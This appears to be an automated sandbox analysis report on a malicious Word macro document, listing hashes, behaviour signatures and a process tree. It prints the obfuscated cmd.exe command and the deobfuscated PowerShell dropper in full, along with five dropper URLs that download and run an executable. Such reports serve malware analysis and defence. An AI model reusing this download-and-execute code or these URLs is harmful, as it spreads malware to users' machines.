Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 10:10

General

  • Target

    719b744a0de134515f7020f4f02fd9ac_JaffaCakes118.doc

  • Size

    71KB

  • MD5

    719b744a0de134515f7020f4f02fd9ac

  • SHA1

    a97a77f1b61c2640575b3c75d78985dc1d606695

  • SHA256

    1316c887d94e24f942b882ecbe7314ef4746e2800122b27bb0086e8aacbb8b00

  • SHA512

    30791787272c6582d02d0f512ec96d5d36ec51398b2e032c76e730e937977cff9e8e21788efffd834f48d72eb9ae78a291ca8260bf3aadf2ca8bf52bff4fcd35

  • SSDEEP

    768:upJcaUitGAlmrJpmxlzC+w99NBE+1o/9XXMmBktlFAO2vxwpF:uptJlmrJpmxlRw99NBE+a/VknF

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://mooremakeup.com/k

exe.dropper

http://crossroadstamp.com/0

exe.dropper

http://ntsuporte.com.br/kl5

exe.dropper

http://oooka.biz/RaQOFhRM

exe.dropper

http://parusalon.ru/idb

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\719b744a0de134515f7020f4f02fd9ac_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /V^:^O/C"^s^e^t ^jU^8n=^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hc^t^ac^};^ka^erb^;FvK$^ ^m^e^t^I-^e^k^ovnI^;)^Fv^K$^ ,Jl^I$(eli^Fda^o^lnwo^D.^S^zv^${yr^t{)z^Bi$ n^i^ ^Jl^I$(hc^aer^o^f;^'^ex^e.'^+Q^Q^i$+^'^\'+c^i^lbu^p:vn^e^$^=Fv^K$^;'^68^7^' = ^QQ^i$;)'@'(tilp^S^.'^bd^i/^ur.n^ola^s^ura^p//^:^ptt^h@MRh^FO^QaR/^zi^b^.^a^ko^oo//:^ptt^h@5^l^k/rb.^m^oc.e^tro^p^u^stn//:p^tth^@0/m^oc^.^pma^t^sd^aors^sorc//^:^ptt^h@^k/^m^oc^.pue^kam^er^o^om//:ptth'^=zB^i^$^;tnei^lCbe^W^.t^eN^ ^tc^ejbo^-w^en=S^zv^$ ^l^l^e^h^sre^wop&&^f^or /^L %^x ^in (^3^40,^-^1^,^0)^d^o s^e^t ^8^h=!^8^h!!^jU^8n:~%^x,1!&&^i^f %^x ^eq^u ^0 ca^l^l %^8^h:^~^4%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $vzS=new-object Net.WebClient;$iBz='http://mooremakeup.com/k@http://crossroadstamp.com/0@http://ntsuporte.com.br/kl5@http://oooka.biz/RaQOFhRM@http://parusalon.ru/idb'.Split('@');$iQQ = '786';$KvF=$env:public+'\'+$iQQ+'.exe';foreach($IlJ in $iBz){try{$vzS.DownloadFile($IlJ, $KvF);Invoke-Item $KvF;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD8AC0.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_odlfclsq.jmn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/628-7-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-1-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/628-9-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-5-0x00007FFD26E4D000-0x00007FFD26E4E000-memory.dmp

    Filesize

    4KB

  • memory/628-6-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-8-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-0-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/628-11-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-15-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-17-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-16-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-14-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-13-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-12-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-555-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-2-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/628-18-0x00007FFCE46E0000-0x00007FFCE46F0000-memory.dmp

    Filesize

    64KB

  • memory/628-19-0x00007FFCE46E0000-0x00007FFCE46F0000-memory.dmp

    Filesize

    64KB

  • memory/628-36-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-37-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-10-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-3-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/628-4-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/628-530-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-531-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

    Filesize

    2.0MB

  • memory/628-552-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/628-553-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/628-551-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/628-554-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

    Filesize

    64KB

  • memory/2856-38-0x0000028EFFD70000-0x0000028EFFD92000-memory.dmp

    Filesize

    136KB